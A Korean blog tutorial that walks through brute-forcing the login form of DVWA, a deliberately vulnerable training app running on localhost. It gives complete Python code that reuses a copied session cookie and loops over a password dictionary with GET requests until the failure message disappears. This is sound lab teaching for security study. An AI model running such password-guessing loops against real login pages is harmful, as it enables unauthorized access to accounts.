DVWA 브루트포스 Low Level 공격 파이썬 실습

 

DVWA 로그인페이지 브루트포스 공격 파이썬 실습

예전에 DVWA 설치 및 브루트포스 어택을위한 사전 패스워드 생성방법에대한 글을 작성한적이 있는데요 본격적인 강의에 앞서 이전 내용이 기억나지 않거나 궁금하신분들은 아래 게시물들을 참

newstroyblog.tistory.com

지난 포스팅에서 DVWA로그인 페이지의 아이디와 비밀번호를 MechanicalSoup패키지를 사용하여 브루트포스 공격을 통하여 알아냈습니다

이번에는 DVWA의 Brute Force 취약점 시스템에서 실습해보겠습니다

오늘은 requests 모듈을 사용하여 반복적으로 GET이나 POST 요청을 보내어 아이디와 패스워드를 알아내 보겠습니다

 

공격 대상 페이지 조사 및 설정

우선 실습 전 DVWA보안 수준을 설정해야 하는데 처음이니깐 가장 낮은 Low로 설정하겠습니다

 

DVWA의 보안 수준을 설정하는 방법은 DVWA로그인 후 좌측 메뉴 중 DVWA Security로 이동하여 설정하실 수 있습니다

기본적으로 웹사이트에서는 브루트 포스 공격을 막기 위해 다양한 보안 조치가 이루어지는데 DVWA에서 Low레벨로 설정할 경우에는 어떠한 취약점 예방도 없으며 해커가 공격하기에 좋은 취약한 웹페이지 상태가 됩니다

그렇기 때문에 사실상 SQL 인젝션 공격으로도 로그인이 가능합니다

 

 

 

이제 본격적으로 보안이 취약한 웹사이트를 공격하려고 합니다

DVWA로그인 후 좌측에 Brute Force탭에 들어오면 로그인 창이 나타나게 됩니다

지난번 실습 때와 마찬가지로 아이디와 암호를 입력하여 로그인하는 시스템으로 이루어져 있습니다

 

 

우선 아무 값이나 입력해서 로그인할 경우 어떻게 되는지 확인해봅시다

 

id : hacker password : pw

임의의 값을 넣어 로그인 시도를 하니 잘못된 아이디와 패스워드라고 텍스트를 출력해줍니다

 

 

조금 더 정보를 얻기 위해 이번에는 개발자 도구를 사용하여 네트워크 탭에서 우리가 입력한 값들이 어떻게 전송되나 확인할 필요성이 있습니다

 

 

개발자 도구(F12) - Network탭을 띄워둔 상태에서 username과 password를 입력 후에 Login버튼을 눌렀더니 화면에처럼 저희가 입력한 계정 정보가 그대로 노출되는 걸 확인할 수 있습니다

 

 

공격 시에는 username부분과 password의 값들만 변경하여 반복문으로 대입해주면 될 거 같습니다

 

 

payload탭으로 가보면 해당 요청의 요소들 아이디 입력란의 name값이 username이고 암호 입력란의 name값은 passowrd이고 로그인 버튼의 name은 Login으로 지정되어있습니다 이 값들은 이따가 코드상에서 딕셔너리 형태로 사용할 데이터들입니다

 

현재 페이지의 HTML 소스 태그에서 직접 확인 결과 동일합니다

 

 

소스코드

이제 소스코드를 작성해보겠습니다

 

 

pip install requests

우선 오늘 사용할 모듈은requests를 설치해주세요

 

 

1
2
3
import requests
 
URL="http://127.0.0.1/dvwa/vulnerabilities/brute/"
cs

requests모듈을 불러온 뒤에

URL변수에 bruteforce 페이지의 url을 문자열로 넣어줍니다

 

 

 

그리고 개발자 도구의 Application에서 쿠키값을 가져와주세요(파이어폭스의 경우 Storage에서 가져오시면 됩니다)

secuirty와 phpsessid값이랑 Value부분에 해당되는 값을 가져오면 됩니다

 

1
2
cookies = {'PHPSESSID''d0p9d.. your cookie',
           'security''low'}
cs

가져온 쿠키 정보를 cookies변수에 딕셔너리 형태로 담아줍니다

 

 

1
2
3
params = {'username':'',
          'password':'',
          'Login':'Login'}
cs

그리고 개발자 도구의 payload탭에서 봤던 페이지의 요소들도 딕셔너리 형태로 담아줍니다

 

 

그리고 사이트에 요청되는 주소에 아이디와 비밀번호가 담겨있는데 파이썬에서 url은 그대로 유지하고 아이디와 비밀번호 값만 변경할 수 있도록 작업해줍니다

 

1
2
3
4
5
6
with open('C:\\Users\\root\\Downloads\\pw.txt''r'as f:
    pwline = f.readlines()
 
passwords =[]
for word in pwline:
    passwords.append(word.strip().replace('\n','')) 
cs

그리고 패스워드 사전 파일에서 한 줄씩 내용을 읽어온뒤에 passwords리스트형 변수에 앞뒤문자와 공백을 제거하여 한줄씩 추가해줍시다

 

 

1
2
3
4
5
6
7
8
9
10
11
for password in passwords:    
    params['username'= 'admin'
    params['password'= password
 
    req = requests.get(URL , params=params, cookies=cookies)
    
    if "Username and/or password incorrect." not in req.text:
        print(f'로그인 성공 : {password}')
        break
    else:
        print(f'로그인실패 : {password}')
cs

 

#1~#3

아까 params변수에 딕셔너리 형태로 사이트의 각 요소들을 입력했었는데 그중 username은 우리가 알고 있다고 가정하여 'admin'문자열을 넣어주고 딕셔너리 목록 중 password에는 패스워드 사전 파일에서 읽어와 하나하나 대입할 건데 반복문으로 password에 passwords리스트 내용들이 하나씩 대입될 테니깐 password변수를 입력해주세요

 

#5

req

로그인 성공 여부를 html의 텍스트 내용을 확인하여 처리할꺼기때문에 req변수를 생성하고 requests.get함수로 GET방식으로 HTTP 요청을 시도합니다

 

GET

HTTP 요청 방식 중에 GET, POST, PUT, DELETE방식이 있는데 왜 GET을 사용하냐?

아까 헤더 부분에 확인해보면 아이디와 비밀번호를 GET방식으로 처리하는 걸 확인할 수 있습니다

 

Params

딕셔너리의 값을 사용하여 아이디와 비밀번호 값을 전송하기에 parmas의 값은 아까 설정한 params변수를 입력해주면 됩니다

params는 필수 매개변수는 아니지만 사용하게 된다면 입력한 매개변수들이 URL인코딩이 되어 추가됩니다

 http://127.0.0.1/dvwa/vulnerabilities/brute/?username='admin'&password='1234'

 

Cookie

그리고 아까 입력한 쿠키값 변수도 입력해주세요

 

Code

결과적으로

requests.get(URL변수, params=params딕셔너리 변수, 쿠키=쿠키값 변수) 형태로 작성하면 됩니다

 

 

#7~11

if문을 사용하여 req.text 페이지의 소스코드상에 로그인 실패 시에 나오는 Username and/or password incorrect.라는 내용이 없다면 로그인이 성공하였다는 증거이고 그 외에는 로그인 실패로 처리해주면 됩니다

 

반대로 로그인 성공 시에 나오는 "Welcome to the password protected area admin"텍스트를 사용하여

    if "Welcome to the password protected area admin" in req.text:
        print(f'로그인 성공 : {password}')
        break
    else:
        print(f'로그인 실패 : {password}')

해당 텍스트가 있다면 로그인을 성공하였다고 표현할 수도 있습니다

 

 

GITHUB(전체 소스코드)

 

GitHub - Blue-B/python-dvwa-low-brutueforce

Contribute to Blue-B/python-dvwa-low-brutueforce development by creating an account on GitHub.

github.com

 

Top